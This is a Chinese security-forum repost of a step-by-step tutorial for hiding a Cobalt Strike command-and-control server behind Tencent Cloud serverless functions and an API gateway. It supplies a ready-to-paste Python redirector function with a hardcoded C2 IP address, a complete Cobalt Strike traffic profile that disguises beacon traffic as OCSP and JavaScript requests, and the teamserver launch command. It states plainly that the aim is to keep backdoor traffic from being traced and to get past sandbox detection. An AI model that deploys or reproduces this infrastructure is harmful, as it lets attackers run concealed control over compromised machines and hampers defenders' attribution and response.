安全矩阵

 找回密码
 立即注册
搜索
查看: 3020|回复: 0

利用腾讯云云函数隐藏C2

[复制链接]

221

主题

233

帖子

792

积分

高级会员

Rank: 4

积分
792
发表于 2021-9-22 12:27:48 | 显示全部楼层 |阅读模式
https://mp.weixin.qq.com/s?__biz ... 8a1fcbc183d841c4#rd
利用腾讯云云函数隐藏C2原创 fox-yu [url=]横戈安全团队[/url] 6月7日

目录:
    0x01 简介
    0x02 创建云函数
    0x03 创建触发器
    0x04 配置cs
    0x05 设置监听器
    0x06 隐藏效果
0x01 简介  腾讯云云函数(Serverless Cloud Function,SCF),可以为企业和开发者提供无服务器执行环境,无需购买和管理服务器,只要在腾讯云上使用平台支持的语言编写核心代码并设置代码运行的条件,即可在腾讯云基础设施上弹性、安全地运行代码。
优点:所有的流量都是通过腾讯云函数进行转发,因此溯源后门只能得到腾讯云的域名和IP,且云函数的服务器是自带 CDN 的,能够很好的隐藏我们的C2服务器。
所需组件
  CS 4.0以上版本
  腾讯云账号(API网关第一年免费)
0x02 创建云函数登录腾讯云,云产品 =》 云函数 =》新建

选择自定义创建:

将以下代码中的C2修改为自己的服务器IP,复制粘贴到云函数,点击完成。
  1. # -*- coding: utf8 -*-
  2. import json,requests,base64
  3. def main_handler(event, context):
  4.     C2='http://42.194.198.77' # C2服务器IP,支持http和https
  5.     path=event['path']
  6.     headers=event['headers']
  7.     print(event)
  8.     if event['httpMethod'] == 'GET' :
  9.         resp=requests.get(C2+path,headers=headers,verify=False)
  10.     else:
  11.         resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
  12.         print(resp.headers)
  13.         print(resp.content)

  14.     response={
  15.         "isBase64Encoded": True,
  16.         "statusCode": resp.status_code,
  17.         "headers": dict(resp.headers),
  18.         "body": str(base64.b64encode(resp.content))[2:-1]
  19.     }
  20.     return response
复制代码



0x03 创建触发器接下来创建触发器,触发方式选择API网关触发,启用集成响应(集成响应不勾选的话,返回的数据格式是 JSON 的格式,对二进制数据不太支持),点击提交。

点击API服务名对触发器进行配置:


将路径修改为【/】,然后点击立即完成


发布成功,到这里我们的云函数和触发器就配置成功了。
查看API信息

这里的公网域名就是我们下面要配置的cs主机:

使用多地ping查看,可以看到该域名是自带CDN的:

0x04 配置cs接下来就是配置cs,将以下代码保存为profile配置文件(不需要修改):
  1. set sample_name "t";
  2. set sleeptime "3000";
  3. set jitter    "0";
  4. set maxdns    "255";
  5. set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";

  6. http-get {

  7.     set uri "/api/x";

  8.     client {
  9.         header "Accept" "*/*";
  10.         metadata {
  11.             base64;
  12.             prepend "SESSIONID=";
  13.             header "Cookie";
  14.         }
  15.     }

  16.     server {
  17.         header "Content-Type" "application/ocsp-response";
  18.         header "content-transfer-encoding" "binary";
  19.         header "Server" "Nodejs";
  20.         output {
  21.             base64;
  22.             print;
  23.         }
  24.     }
  25. }
  26. http-stager {  
  27.     set uri_x86 "/vue.min.js";
  28.     set uri_x64 "/bootstrap-2.min.js";
  29. }
  30. http-post {
  31.     set uri "/api/y";
  32.     client {
  33.         header "Accept" "*/*";
  34.         id {
  35.             base64;
  36.             prepend "JSESSION=";
  37.             header "Cookie";
  38.         }
  39.         output {
  40.             base64;
  41.             print;
  42.         }
  43.     }

  44.     server {
  45.         header "Content-Type" "application/ocsp-response";
  46.         header "content-transfer-encoding" "binary";
  47.         header "Connection" "keep-alive";
  48.         output {
  49.             base64;
  50.             print;
  51.         }
  52.     }
  53. }
复制代码



启动cs:
./teamserver IP 密码 tecent_cloud_func.profile

0x05 设置监听器启动cs客户端,添加监听器,跟正常的监听器一样,只是把原来的服务器IP换成了腾讯云网关API的域名,也就是我们第二步创建API网关触发器得到的公网域名:

保存,生成后门进行测试。成功上线:

0x06 隐藏效果此时后门的连接IP为腾讯云IP:45.40.235.223


上传到微步沙箱检测,检测出来的URL也是腾讯的:




回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-22 17:06 , Processed in 0.016074 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表